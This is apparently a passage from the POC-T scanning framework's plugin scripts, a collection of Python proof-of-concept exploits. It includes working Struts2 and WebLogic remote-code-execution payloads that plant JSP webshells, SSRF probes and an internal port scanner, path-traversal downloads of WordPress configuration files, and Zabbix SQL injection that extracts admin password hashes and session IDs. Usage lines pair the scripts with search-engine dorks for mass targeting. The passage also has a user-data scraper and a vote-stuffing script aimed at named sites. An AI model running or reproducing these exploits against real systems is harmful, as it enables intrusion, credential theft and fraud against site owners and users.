8 | 详见: 9 | http://www.cdxy.me/python/bilibili-2000w%E7%94%A8%E6%88%B7%E4%BF%A1%E6%81%AF%E7%88%AC%E5%8F%96/ 10 | 11 | 依赖 MySQLdb 12 | 需在下方代码修改数据库配置 13 | """ 14 | 15 | import requests 16 | import json 17 | import sys 18 | 19 | try: 20 | import MySQLdb 21 | except ImportError, e: 22 | sys.exit(e) 23 | 24 | 25 | def poc(str): 26 | url = 'http://space.bilibili.com/ajax/member/GetInfo?mid=' + str 27 | head = { 28 | 'User-Agent': 'Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.130 Safari/537.36' 29 | } 30 | 31 | jscontent = requests.get(url, headers=head, verify=False).content 32 | jsDict = json.loads(jscontent) 33 | if jsDict['status'] and jsDict['data']['sign']: 34 | jsData = jsDict['data'] 35 | mid = jsData['mid'] 36 | name = jsData['name'] 37 | sign = jsData['sign'] 38 | try: 39 | conn = MySQLdb.connect(host='localhost', user='root', passwd='', port=3306, charset='utf8') 40 | cur = conn.cursor() 41 | conn.select_db('bilibili') 42 | cur.execute( 43 | 'INSERT INTO bilibili_user_info VALUES (%s,%s,%s,%s)', [mid, mid, name, sign]) 44 | return True 45 | 46 | except MySQLdb.Error, e: 47 | pass 48 | # print "Mysql Error %d: %s" % (e.args[0], e.args[1]) 49 | else: 50 | # print "Pass: " + url 51 | pass 52 | return False 53 | -------------------------------------------------------------------------------- /script/struts2-devmode.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | # project = https://github.com/Xyntax/POC-T 4 | # author = i@cdxy.me 5 | 6 | """ 7 | Struts S2-devmode RCE PoC 8 | (redirectURL函数使用场景示例) 9 | 10 | Usage: 11 | python POC-T.py -s struts2-devmode -iF url.txt 12 | python POC-T.py -s struts2-devmode -aG "inurl:index.action" 13 | 14 | """ 15 | 16 | import requests 17 | from plugin.useragent import firefox 18 | from plugin.util import randomString, redirectURL 19 | 20 | 21 | def poc(url): 22 | if '://' not in url: 23 | url = 'http://' + url 24 | if '?' in url: 25 | url = url.split('?')[0] 26 | if '.action' not in url: 27 | url = redirectURL(url) 28 | key = randomString() 29 | payload = "?debug=browser&object=(%23mem=%23_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)%3f%23context[%23parameters.rpsobj[0]].getWriter().println(%23parameters.content[0]):xx.toString.json&rpsobj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=" + key 30 | target = (url + payload) 31 | try: 32 | c = requests.get(target, headers={'User-Agent': firefox()}, timeout=5).content 33 | if key in c and 'xwork2.dispatcher' not in c: 34 | return url 35 | except Exception, e: 36 | return False 37 | return False 38 | -------------------------------------------------------------------------------- /script/struts2-s2032.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | # project = https://github.com/Xyntax/POC-T 4 | # author = i@cdxy.me 5 | 6 | """ 7 | Struts S2-032 RCE PoC 8 | 9 | Usage: 10 | python POC-T.py -s struts2-s2032 -iF url.txt 11 | python POC-T.py -s struts2-s2032 -aG "inurl:index.action" 12 | 13 | """ 14 | 15 | import random 16 | import requests 17 | 18 | 19 | def poc(url): 20 | try: 21 | if '://' not in url: 22 | url = 'http://' + url 23 | url = url.split('?')[0] 24 | jsp_file = str(random.randint(1000, 1000000)) + '.jsp' 25 | content = 'gif89a%3C%25%0A%20%20%20%20if%28%22024%22.equals%28request.' \ 26 | 'getParameter%28%22pwd%22%29%29%29%7B%0A%20%20%20%20%20%20%2' \ 27 | '0%20java.io.InputStream%20in%20%3D%20Runtime.getRuntime%28%' \ 28 | '29.exec%28request.getParameter%28%22l%22%29%29.getInputStre' \ 29 | 'am%28%29%3B%0A%20%20%20%20%20%20%20%20int%20a%20%3D%20-1%3B' \ 30 | '%0A%20%20%20%20%20%20%20%20byte%5B%5D%20b%20%3D%20new%20byt' \ 31 | 'e%5B2048%5D%3B%0A%20%20%20%20%20%20%20%20out.print%28%22%3C' \ 32 | 'pre%3E%22%29%3B%0A%20%20%20%20%20%20%20%20while%28%28a%3Din' \ 33 | '.read%28b%29%29%21%3D-1%29%7B%0A%20%20%20%20%20%20%20%20%20' \ 34 | '%20%20%20out.println%28new%20String%28b%29%29%3B%0A%20%20%2' \ 35 | '0%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20out.print%28%' \ 36 | '22%3C%2fpre%3E%22%29%3B%0A%20%20%20%20%7D%0A%25%3E' 37 | 38 | poc_url = "{url}?method:%23_memberAccess%3d@ognl.OgnlContext" \ 39 | "@DEFAULT_MEMBER_ACCESS,%23a%3d%23parameters.reqobj[0]," \ 40 | "%23c%3d%23parameters.reqobj[1],%23req%3d%23context.get(%23a)," \ 41 | "%23b%3d%23req.getRealPath(%23c)%2b%23parameters.reqobj[2],%23" \ 42 | "fos%3dnew java.io.FileOutputStream(%23b),%23fos.write(%23para" \ 43 | "meters.content[0].getBytes()),%23fos.close(),%23hh%3d%23conte" \ 44 | "xt.get(%23parameters.rpsobj[0]),%23hh.getWriter().println(%23" \ 45 | "b),%23hh.getWriter().flush(),%23hh.getWriter().close(),1?%23x" \ 46 | "x:%23request.toString&reqobj=com.opensymphony.xwork2.dispatch" \ 47 | "er.HttpServletRequest&rpsobj=com.opensymphony.xwork2.dispatch" \ 48 | "er.HttpServletResponse&reqobj=%2f&reqobj={filename}&content={" \ 49 | "content}".format(url=url, filename=jsp_file, content=content) 50 | 51 | s = requests.get(poc_url, 52 | headers={'User-Agent': 'Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0'}, 53 | timeout=10) 54 | return bool(s.status_code == 200 and jsp_file in s.content and 'method:' not in s.content) 55 | except Exception: 56 | return False 57 | -------------------------------------------------------------------------------- /script/struts2-s2045.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | # project = https://github.com/Xyntax/POC-T 4 | # author = 24'' 5 | 6 | """ 7 | Struts2 S2-045 Remote Code Execution PoC (CVE-2017-5638) 8 | 9 | Version: 10 | 2.3.5-2.3.31, 2.5-2.5.10 11 | 12 | Usage: 13 | python POC-T.py -s struts2-s2045 -aG "inurl:login.action" --gproxy "http 127.0.0.1 1080" 14 | python POC-T.py -s struts2-s2045 -aZ "login.action" 15 | python POC-T.py -s struts2-s2045 -iF FILE.txt 16 | """ 17 | 18 | import requests 19 | import random 20 | 21 | 22 | def poc(url): 23 | if '://' not in url: 24 | url = 'http://' + url 25 | try: 26 | a = random.randint(10000000, 20000000) 27 | b = random.randint(10000000, 20000000) 28 | c = a + b 29 | win = 'set /a ' + str(a) + ' + ' + str(b) 30 | linux = 'expr ' + str(a) + ' + ' + str(b) 31 | 32 | header = dict() 33 | header["User-Agent"] = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36" 34 | header["Content-Type"] = "%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#iswin?(#cmd='" + win + "'):(#cmd='" + linux + "')).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}" 35 | r = requests.get(url, headers=header, timeout=5) 36 | if str(c) in r.text: 37 | return '[S2-045]'+url 38 | else: 39 | return False 40 | except Exception: 41 | return False 42 | -------------------------------------------------------------------------------- /script/test.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | # project = https://github.com/Xyntax/POC-T 4 | # author = i@cdxy.me 5 | 6 | """ 7 | 测试用例 8 | """ 9 | 10 | import random 11 | import time 12 | 13 | 14 | def poc(str): 15 | time.sleep(3) 16 | if random.randint(1, 10) > 5: 17 | return True 18 | return False 19 | -------------------------------------------------------------------------------- /script/vbulletin-ssrf.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | # project = https://github.com/Xyntax/POC-T 4 | # author = i@cdxy.me 5 | 6 | """ 7 | vBulletin Preauth Server Side Request Forgery (SSRF) 8 | 9 | Version 10 | <= 5.2.2 <= 4.2.3 <= 3.8.9 11 | 12 | Dork 13 | "Powered by vBulletin" 14 | 15 | Exploit 16 | http://legalhackers.com/advisories/vBulletin-SSRF-Vulnerability-Exploit.txt 17 | 18 | """ 19 | 20 | import requests 21 | 22 | req_timeout = 10 23 | ssrf_dst = 'http://dnslog.info' # scheme needed 24 | header = {'User-Agent': 'Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0'} 25 | 26 | 27 | def poc(url): 28 | if '://' not in url: 29 | url = 'http://' + url 30 | targeturl = url.rstrip('/') + "/link/getlinkdata" 31 | try: 32 | c = requests.post(targeturl, data={'url': ' '}, headers=header, timeout=req_timeout).content 33 | if 'invalid_url' not in c: 34 | return False 35 | c = requests.post(targeturl, data={'url': ssrf_dst}, headers=header, timeout=req_timeout).content 36 | if 'invalid_url' not in c: 37 | return True 38 | except Exception, e: 39 | pass 40 | return False 41 | -------------------------------------------------------------------------------- /script/vote-example.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | # project = https://github.com/Xyntax/POC-T 4 | # author = i@cdxy.me 5 | 6 | """ 7 | 上海大学生戏剧节-刷票脚本 8 | 9 | POST /phpapp/polling.php HTTP/1.1 10 | Host: www.kankanews.com 11 | Content-Length: 44 12 | Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 13 | Origin: http://www.kankanews.com 14 | Upgrade-Insecure-Requests: 1 15 | User-Agent: 16 | Content-Type: application/x-www-form-urlencoded 17 | Referer: http://www.kankanews.com/z/dhj13th/index.shtml 18 | Accept-Encoding: gzip, deflate 19 | Accept-Language: zh-CN,zh;q=0.8 20 | Cookie: 21 | 22 | classid=9401&f_6339_c_8969_b_2_%5B%5D=844622 23 | 24 | """ 25 | 26 | import requests 27 | 28 | base_url = "http://www.kankanews.com/z/dhj13th/index.shtml" 29 | post_url = "http://www.kankanews.com/phpapp/polling.php" 30 | 31 | 32 | def poc(): 33 | d = { 34 | 'classid': '9401', 35 | 'f_6339_c_8969_b_2_%5B%5D': '844621' 36 | } 37 | h = { 38 | 'Referer': 'http://www.kankanews.com/z/dhj13th/index.shtml', 39 | 'Cookie': '', 40 | 'User-Agent': 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; Win64; x64)', 41 | } 42 | r = requests.post(post_url, timeout=10, data=d, headers=h) 43 | if 'success' in r.content: 44 | return True 45 | return False 46 | -------------------------------------------------------------------------------- /script/weblogic-ssrf-netmap.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | # project = https://github.com/Xyntax/POC-T 4 | # author = i@cdxy.me 5 | 6 | """ 7 | Weblogic SSRF 内网扫描脚本(nmap的1000个端口) 8 | 9 | Usage: 10 | python POC-T.py -s weblogic-ssrf -iN 10.10.0.0/24 11 | 12 | 返回结果示例: 13 | 10.10.0.10:22/80/111 14 | 10.10.0.13:22/111/1521/5801/5901/6001 15 | 10.10.0.14:22/111/1521/10000 16 | 10.10.0.51:21/22/111/843/5801 17 | 10.10.0.18:13/21/22/23/25/37/513/514/1521/5989/9090/32768/32783 18 | 19 | """ 20 | 21 | import requests 22 | from plugin.static import NMAP_PORTS_1000 as ports 23 | 24 | base_uri = 'https://xxx.xxx.com' 25 | 26 | def poc(ip_str): 27 | ans = [] 28 | flag = False 29 | for port in ports: 30 | exp_url = base_uri.rstrip('/') + "/uddiexplorer/SearchPublicRegistries.jsp?operator=http://%s:%s&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search" % ( 31 | ip_str, port) 32 | try: 33 | # 根据情况设置timeout 34 | c = requests.get(exp_url, timeout=3, verify=False).content 35 | if 'weblogic.uddi.client.structures.exception.XML_SoapException' in c: 36 | if 'No route to host' in c: 37 | # 主机不存在 38 | return False 39 | elif 'Received a response' in c: 40 | ans.append(port) 41 | flag = True 42 | elif 'Response contained no data' in c: 43 | ans.append(port) 44 | flag = True 45 | elif 'but could not connect' in c: 46 | # 主机存在但端口未开放 47 | flag = True 48 | except Exception: 49 | pass 50 | if flag: 51 | return ip_str + ':' + str('/'.join(ans)) 52 | return False 53 | 54 | -------------------------------------------------------------------------------- /script/weblogic-wls.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | # project = https://github.com/Xyntax/POC-T 4 | # author = starnight_cyber 5 | 6 | """ 7 | Script : weblogic-wls.py 8 | Author : starnight_cyber 9 | Time : 2017.1.8 10 | 11 | WebLogic Server WLS RCE (CVE-2017-10271): 12 | OracleWebLogic Server 10.3.6.0.0 13 | OracleWebLogic Server 12.1.3.0.0 14 | OracleWebLogic Server 12.2.1.1.0 15 | OracleWebLogic Server 12.2.1.2.0 16 | 17 | """ 18 | 19 | import requests 20 | 21 | headers = { 22 | "User-Agent": "Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0", 23 | "Accept-Charset": "GBK,utf-8;q=0.7,*;q=0.3", 24 | "Content-Type": "text/xml" 25 | } 26 | 27 | payload = ''' 28 | 30 | servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/zero.jsp 31 | "); 36 | while((a=in.read(b))!=-1){ 37 | out.println(new String(b)); 38 | } 39 | out.print(""); 40 | } %>]]> 41 | 42 | ''' 43 | 44 | 45 | def poc(url): 46 | try: 47 | # Step 1: POST webshell to target, if remote system is vulnerable, it will create a zero.jsp on remote machine 48 | url1 = 'http://' + url + '/wls-wsat/CoordinatorPortType11' 49 | # print url1 50 | resp = requests.post(url1, data=payload, headers=headers, timeout=5) # attack 51 | 52 | # Step 2 : Check whether can execute command on target 53 | url2 = 'http://' + url + '/bea_wls_internal/zero.jsp?pwd=v&i=whoami' 54 | # print url2, check this url by your hand 55 | resp = requests.get(url2, timeout=5) 56 | 57 | # check whether succeed or not 58 | return bool(resp.status_code == 200) 59 | 60 | except Exception: 61 | # anything wrong, return False 62 | return False 63 | -------------------------------------------------------------------------------- /script/wp-4.4-ssrf.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | # project = https://github.com/Xyntax/POC-T 4 | # author = i@cdxy.me 5 | 6 | """ 7 | WordPress 4.4 Server Side Request Forgery (SSRF) 8 | 9 | Version 10 | WordPress <= 4.4.2 11 | 12 | """ 13 | 14 | import requests 15 | from plugin.cloudeye import CloudEye 16 | 17 | req_timeout = 10 18 | 19 | 20 | def poc(url): 21 | if '://' not in url: 22 | url = 'http://' + url 23 | targeturl = url.rstrip('/') + "/xmlrpc.php" 24 | 25 | c = CloudEye() 26 | dst = c.getRandomDomain('wpssrf') 27 | 28 | # 第一个地址段为SSRF的目标地址,格式为(http[s]://IP|DOAMIN)[:(80|8080|443)]。 29 | # 只能这三个端口,外网地址全通,内网地址被过滤,可用8进制突破10开头的地址段。 30 | # 第二个地址段需要该站实际存在的文章地址,用?p=1自动适配。 31 | payload = """ 32 | 33 | 34 | pingback.ping 35 | 36 | http://{target}/ 37 | {victim}?p=1 38 | 39 | """.format(target=dst, victim=url.rstrip('/') + '/') 40 | 41 | header = {'User-Agent': 'Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0', 42 | 'Content-Type': 'text/xml'} 43 | try: 44 | # 无法从回显判断 45 | requests.post(targeturl, data=payload, headers=header, timeout=req_timeout) 46 | if c.verifyDNS(delay=3): 47 | return True 48 | except Exception, e: 49 | pass 50 | return False 51 | -------------------------------------------------------------------------------- /script/wp-4.7-userinfo.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | # project = https://github.com/Xyntax/POC-T 4 | # author = i@cdxy.me 5 | 6 | """ 7 | WordPress 4.7 - User Information Disclosure via REST API 8 | Ref https://wpvulndb.com/vulnerabilities/8715 9 | Version WordPress == 4.7.0 10 | """ 11 | 12 | import requests 13 | 14 | 15 | def poc(url): 16 | url = url if '://' else 'http://' + url 17 | payload = '/wp-json/wp/v2/users' 18 | url = url.rstrip('/') + payload 19 | try: 20 | r = requests.get(url) 21 | if r.status_code == 200 and '[{"id":1,"name":"' in r.content: 22 | return url 23 | except Exception: 24 | pass 25 | return False 26 | -------------------------------------------------------------------------------- /script/wp-4.7.1-restapi.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | # project = https://github.com/Xyntax/POC-T 4 | # author = i@cdxy.me 5 | 6 | import requests 7 | import json 8 | 9 | API_ROUTE = '/index.php/wp-json/wp/v2/posts/' 10 | 11 | 12 | def poc(url): 13 | url = url if '://' in url else 'http://' + url 14 | 15 | try: 16 | r = requests.get(url + API_ROUTE) 17 | id = json.loads(r.content)[0]['id'] # get an exist post id 18 | 19 | post_url = url + API_ROUTE + str(id) 20 | data1 = '{"id": "%s"}' % id 21 | data2 = '{"id": "%sa"}' % id 22 | r1 = requests.post(post_url, data1, headers={'Content-Type': 'application/json'}) 23 | r2 = requests.post(post_url, data2, headers={'Content-Type': 'application/json'}) 24 | 25 | if r1.status_code > 400 and r2.status_code == 200 and r1.content != r2.content: 26 | return post_url 27 | except: 28 | return False 29 | 30 | return False 31 | -------------------------------------------------------------------------------- /script/wp-bonkersbeat-filedownload.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | # project = https://github.com/Xyntax/POC-T 4 | # author = i@cdxy.me 5 | 6 | """ 7 | WordPress theme bonkersbeat Arbitrary File Download Vulnerability 8 | 9 | Usage 10 | python POC-T.py -s wp-bonkersbeat-filedownload -aG "inurl:/wp-content/themes/bonkersbeat" 11 | 12 | EXPLOIT 13 | [POST] http://host/wp-content/themes/bonkersbeat/lib/scripts/dl-skin.php 14 | _mysite_download_skin=../../../../../wp-config.php 15 | 16 | """ 17 | 18 | import urllib2 19 | from plugin.urlparser import get_domain 20 | 21 | 22 | def poc(url): 23 | if '://' not in url: 24 | url = 'http://' + url 25 | payload = '/wp-content/themes/bonkersbeat/lib/scripts/dl-skin.php' 26 | target = get_domain(url).rstrip('/') + payload 27 | try: 28 | r = urllib2.urlopen(target, data="_mysite_download_skin=../../../../../wp-config.php", timeout=5).read() 29 | if "define('DB_PASSWORD'" in r and '@package WordPress' in r: 30 | return target 31 | except Exception: 32 | pass 33 | return False 34 | -------------------------------------------------------------------------------- /script/wp-forcedownload.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | # project = https://github.com/Xyntax/POC-T 4 | # author = i@cdxy.me 5 | 6 | """ 7 | Wordpress force download Arbitrary File Download 8 | 9 | Dork 10 | inurl:force-download.php?file=wp-content/uploads 11 | inurl:wp-content/uploads 12 | inurl:force-download.php?file= 13 | 14 | Usage 15 | python POC-T.py -s wp-forcedownload -aG "inurl:force-download.php?file=" 16 | 17 | Vendor Homepage 18 | http://elouai.com/force-download.php 19 | 20 | """ 21 | 22 | import urllib2 23 | from plugin.urlparser import iterate_path 24 | 25 | 26 | def poc(url): 27 | if '://' not in url: 28 | url = 'http://' + url 29 | payload = '/force-download.php?file=wp-config.php' 30 | for i in iterate_path(url): 31 | if '?' in i: 32 | continue 33 | target = i.rstrip('/') + payload 34 | try: 35 | r = urllib2.urlopen(target).read() # cannot use requests here 36 | if 'define(' in r and 'DB_PASSWORD' in r: 37 | return target 38 | except Exception, e: 39 | pass 40 | return False 41 | -------------------------------------------------------------------------------- /script/wp-ypo-filedownload.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | # project = https://github.com/Xyntax/POC-T 4 | # author = i@cdxy.me 5 | 6 | """ 7 | WordPress theme ypo-theme Arbitrary File Download Vulnerability 8 | 9 | Usage 10 | python POC-T.py -s wp-ypo-filedownload -aG "inurl:/wp-content/themes/ypo-theme/" 11 | 12 | EXPLOIT 13 | /wp-content/themes/ypo-theme/download.php?download=..%2F..%2F..%2F..%2Fwp-config.php 14 | 15 | """ 16 | 17 | import urllib2 18 | from plugin.urlparser import get_domain 19 | 20 | 21 | def poc(url): 22 | if '://' not in url: 23 | url = 'http://' + url 24 | payload = '/wp-content/themes/ypo-theme/download.php?download=..%2F..%2F..%2F..%2Fwp-config.php' 25 | target = get_domain(url).rstrip('/') + payload 26 | try: 27 | r = urllib2.urlopen(target, timeout=5).read() # cannot use requests here 28 | if "define('DB_PASSWORD'" in r and '@package WordPress' in r: 29 | return target 30 | except Exception, e: 31 | pass 32 | return False 33 | -------------------------------------------------------------------------------- /script/yahoo-dork.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # @Author: zeroyu 3 | # @Date: 2018-12-22 16:53:36 4 | # @Last Modified by: zeroyu 5 | # @Last Modified time: 2018-12-22 16:57:35 6 | 7 | 8 | import pychrome 9 | import urlparse 10 | import threading 11 | from lib.core.data import paths,th,logger 12 | from lib.controller.engine import output2file 13 | 14 | # 环境配置: 15 | # 本地配置chrome的headless,执行如下命令: 16 | # headless mode (chrome version >= 59): 17 | # $ google-chrome --headless --disable-gpu --remote-debugging-port=9222 18 | 19 | # 或者直接使用docker 20 | # $ docker pull fate0/headless-chrome 21 | # $ docker run -it --rm --cap-add=SYS_ADMIN -p9222:9222 fate0/headless-chrome 22 | 23 | # PS:使用google-dork的时候打开ss就好 24 | 25 | # 使用说明: 26 | # 对目标使用google dork语法,程序会返回抓取的域名 27 | # python POC-T.py -iS "site:test.com" -s test.py -eG 28 | # 默认对域名做了去重输出,根据需要可以修改script 29 | 30 | def subdomin_finder_by_yahoo(target): 31 | 32 | # create a browser instance 33 | browser = pychrome.Browser(url="http://127.0.0.1:9222") 34 | 35 | # create a tab 36 | tab = browser.new_tab() 37 | 38 | # start the tab 39 | tab.start() 40 | 41 | tab.Page.enable() 42 | 43 | # call method 44 | tab.Network.enable() 45 | tab.Runtime.enable() 46 | 47 | step=1 48 | 49 | subdomins=[] 50 | 51 | while(1): 52 | 53 | url="https://search.yahoo.com/search?p={}".format(target) 54 | url=url+"&b={}&pz=40".format(step) 55 | # stepinfo="step:"+str(step) 56 | # logger.info(stepinfo) 57 | step=step+40 58 | 59 | 60 | try: 61 | # call method with timeout 62 | tab.Page.navigate(url=url, _timeout=5) 63 | tab.wait(5) 64 | 65 | exp='document.getElementsByClassName(" ac-algo fz-l ac-21th lh-24").length' 66 | length= tab.Runtime.evaluate(expression=exp) 67 | 68 | # 360so就看报不报错,报错了的话document.getElementsByClassName("res-title").length是为0的 69 | if length['result']['value']==0: 70 | break 71 | 72 | #从每一页上抓取url 73 | for l in range(0,length['result']['value']): 74 | # tab.wait(1) 75 | exp1='document.getElementsByClassName(" ac-algo fz-l ac-21th lh-24")[{}].href'.format(l) 76 | res1= tab.Runtime.evaluate(expression=exp1) 77 | logger.info(res1['result']['value']) 78 | subdomins.append(res1['result']['value']) 79 | except: 80 | pass 81 | 82 | tab.stop() 83 | browser.close_tab(tab) 84 | return subdomins 85 | 86 | def poc(target): 87 | subdomins=subdomin_finder_by_yahoo(target) 88 | tmp=[] 89 | for sub in subdomins: 90 | url=urlparse.urlparse(sub) 91 | tmp.append(url.scheme+"://"+url.netloc) 92 | # 去重 93 | subdomins=list(set(tmp)) 94 | if subdomins: 95 | for s in subdomins: 96 | s="=>"+s 97 | output2file(s.replace("=>","")) 98 | logger.success(s) 99 | return True 100 | return False -------------------------------------------------------------------------------- /script/zabbix-jsrpc-mysql-exp.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | # project = https://github.com/Xyntax/POC-T 4 | # author B0t0w1 5 | 6 | 7 | """ 8 | ZABBIX jsrpc.php SQL Inject Vulnerability (MySQL Exploit) 9 | 10 | Usage: 11 | python POC-T.py -s zabbix-jsrpc-mysql-exp -aZ "zabbix country:us" 12 | 13 | """ 14 | 15 | import re 16 | import urllib2 17 | 18 | 19 | def poc(url): 20 | url = url if '://' in url else 'http://' + url 21 | if url[-1] != '/': url += '/' 22 | passwd_sql = "(select 1 from(select count(*),concat((select (select (select concat(0x7e,(select concat(name,0x3a,passwd) from users limit 0,1),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)" 23 | session_sql = "(select 1 from(select count(*),concat((select (select (select concat(0x7e,(select sessionid from sessions limit 0,1),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)" 24 | payload_deteck = "jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get×tamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=999'&updateProfile=true&screenitemid=.=3600&stime=20160817050632&resourcetype=17&itemids%5B23297%5D=23297&action=showlatest&filter=&filter_task=&mark_color=1" 25 | try: 26 | response = urllib2.urlopen(url + payload_deteck, timeout=10).read() 27 | except Exception, msg: 28 | # print msg 29 | pass 30 | else: 31 | key_reg = re.compile(r"INSERT\s*INTO\s*profiles") 32 | Passwd = "" 33 | Session_id = "" 34 | if key_reg.findall(response): 35 | payload_inject = url + "jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get×tamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=" + urllib2.quote( 36 | passwd_sql) + "&updateProfile=true&screenitemid=.=3600&stime=20160817050632&resourcetype=17&itemids[23297]=23297&action=showlatest&filter=&filter_task=&mark_color=1" 37 | try: 38 | response = urllib2.urlopen(payload_inject, timeout=10).read() 39 | except Exception, msg: 40 | # print msg 41 | pass 42 | else: 43 | result_reg = re.compile(r"Duplicate\s*entry\s*'~(.+?)~1") 44 | results = result_reg.findall(response) 45 | if results: 46 | Passwd = "password_md5:" + results[0] 47 | payload_inject = url + "jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get×tamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=" + urllib2.quote( 48 | session_sql) + "&updateProfile=true&screenitemid=.=3600&stime=20160817050632&resourcetype=17&itemids[23297]=23297&action=showlatest&filter=&filter_task=&mark_color=1" 49 | try: 50 | response = urllib2.urlopen(payload_inject, timeout=10).read() 51 | except Exception, msg: 52 | # print msg 53 | pass 54 | else: 55 | result_reg = re.compile(r"Duplicate\s*entry\s*'~(.+?)~1") 56 | results = result_reg.findall(response) 57 | if results: 58 | Session_id = "Session_id:" + results[0] 59 | return (url, Passwd, Session_id) 60 | return False 61 | -------------------------------------------------------------------------------- /script/zabbix-jsrpc-sqli.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | # project = https://github.com/Xyntax/POC-T 4 | # author = i@cdxy.me 5 | 6 | """ 7 | ZABBIX jsrpc.php 参数profileIdx2 insert SQL注入漏洞 8 | 9 | zabbix的jsrpc的profileIdx2参数存在insert方式的SQL注入漏洞, 在开启guest的情况下,攻击者无需授权登陆即可登陆zabbix管理系统, 也可通过script等功能轻易直接获取zabbix服务器的操作系统权限。 10 | 11 | Usage: 12 | python POC-T.py -s zabbix-jsrpc-sqli -aZ "zabbix country:us" 13 | 14 | Version 15 | v2.2.x, 3.0.0-3.0.3 16 | 17 | """ 18 | 19 | import requests 20 | from plugin.urlparser import iterate_path 21 | 22 | 23 | def poc(url): 24 | if '://' not in url: 25 | url = 'http://' + url 26 | payload = "/jsrpc.php?type=9&method=screen.get×tamp=1471403798083&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=1+or+updatexml(1,md5(0x11),1)+or+1=1)%23&updateProfile=true&period=3600&stime=20160817050632&resourcetype=17" 27 | for each in iterate_path(url): 28 | if '?' in each: 29 | continue 30 | target_url = url.rstrip('/') + payload 31 | try: 32 | r = requests.get(target_url, timeout=10) 33 | if 'ed733b8d10be225eceba344d533586' in r.content: 34 | return '[mysql]'+ each 35 | if 'Error in query [' in r.content or 'SQL error [' in r.content: 36 | return each 37 | except Exception, e: 38 | pass 39 | return False 40 | -------------------------------------------------------------------------------- /script/zabbix-weakpass.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | # project = https://github.com/Xyntax/POC-T 4 | # author = i@cdxy.me 5 | 6 | """ 7 | zabbix 默认口令检测,支持两种zabbix版本 8 | 9 | Exploit: 10 | Admin/zabbix 11 | 12 | Usage: 13 | python POC-T.py -s zabbix-weakpass -aG "Set-Cookie: zbx_sessionid country:cn" 14 | 15 | """ 16 | 17 | import requests 18 | from bs4 import BeautifulSoup 19 | 20 | 21 | def _get_static_post_attr(page_content): 22 | """ 23 | 